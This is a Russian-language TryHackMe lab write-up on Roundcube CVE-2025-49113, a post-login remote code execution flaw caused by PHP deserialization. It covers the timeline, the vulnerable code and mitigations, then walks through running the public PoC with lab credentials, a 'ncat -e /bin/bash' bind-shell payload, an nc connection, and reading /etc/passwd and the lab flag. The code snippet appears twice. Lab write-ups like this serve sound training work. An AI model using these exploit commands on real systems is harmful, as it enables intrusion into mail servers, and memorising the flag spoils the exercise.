
Объяснение + лабораторная работа на THM
{{date}} {{time}}
Статус: Завершено
Лаборатория: Easy
Теги: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
от KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script
Воздействие: удаленное выполнение команд после входа в систему (CVSS 9.9)
Затронутые версии: ≤ 1.5.10 / 1.6.10
Исправлено: 1.5.11 и 1.6.11
| Дата | Событие |
|---|---|
| ~2014 | Введение маршрута program/actions/settings/upload.php с использованием session->append() без проверки. |
| 03 июн 2025 | Исследователи из @FearsOff публикуют advisory и объявляют PoC. |
| 04 июн 2025 | Roundcube применяет commit 0376f69 (1.6-stable) и commit 7408f31 (1.5-lts). |
| 06 июн 2025 | PoC опубликован на github. (fearsoff-org/CVE-2025-49113) |
| 10 июн 2025 | Массовая эксплуатация. |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … более ниже
$rcmail->session->append($type . '.files', $id, $attachment);
Параметр _from приходит полностью из GET, затем становится частью имени узла в сессии, и во время первого append() Roundcube делает:
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … более ниже
$rcmail->session->append($type . '.files', $id, $attachment);
Если файл существует, RCE сработал.
Обновите немедленно до ≥ 1.6.11 или ≥ 1.5.11.
Если не удается обновиться, заблокируйте любой _from, содержащий %22, %7C, !, . или управляющие байты через WAF, брандмауэр или rewrite.
Отключите опасные функции (proc_open, exec и т.д.) в php.ini.
Заблокируйте загрузки в панели настроек и отслеживайте логи.
Free Room: https://tryhackme.com/room/roundcubecve202549113
Создано tryhackme & strategos
Открыть ВМ (MACHINE_IP) и AttackBox.
Перейти на http://MACHINE_IP/roundcube с:
пользователь: ellieptic
пароль: ChangeMe123
Это сработает и выполнит вход в систему:

После того как убедимся, что всё работает, запустим эксплойт. Для этого перейдем к ранее указанному PoC на github и сделаем git clone:
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

Использование полезной нагрузки просто: нужно создать bind shell и указать порт с файлом .php согласно использованию ниже:
php CVE-2025-49113.php <site> <user> <senha> "<bind shell>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– Скрипт выполняет вход, внедряет вредоносный PHP-объект в параметр _from, как мы говорили ранее, вызывает конечную точку upload.php, а затем принудительно выходит из системы, чтобы вызвать
session_decode() → unserialize() → proc_open().
Иногда он показывает ошибку CSRF; игнорируйте её и переходите к следующему шагу,
потому что команда, как правило, всё равно выполняется.

Если bind shell сработал, она слушает на порту 1337, который мы указали, просто подключаемся к нему сейчас:
nc MACHINE_IP 1337
Shell получена.

ByteЧтобы решить этот вопрос, можно было сделать cat в /etc/passwd, отфильтровав пользователя maggie, или просто выполнить ls в /home

/etc?THM{ICE_CUBE_DESERIALISATION}Чтобы решить это, я выполнил cat /etc/flag*, и, к счастью, имя файла было flag, и мы смогли его захватить.

Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
FearsOff write-up – https://fearsoff.org/research/roundcube
OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme - TryHackMe | Roundcube: CVE-2025-49113
GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com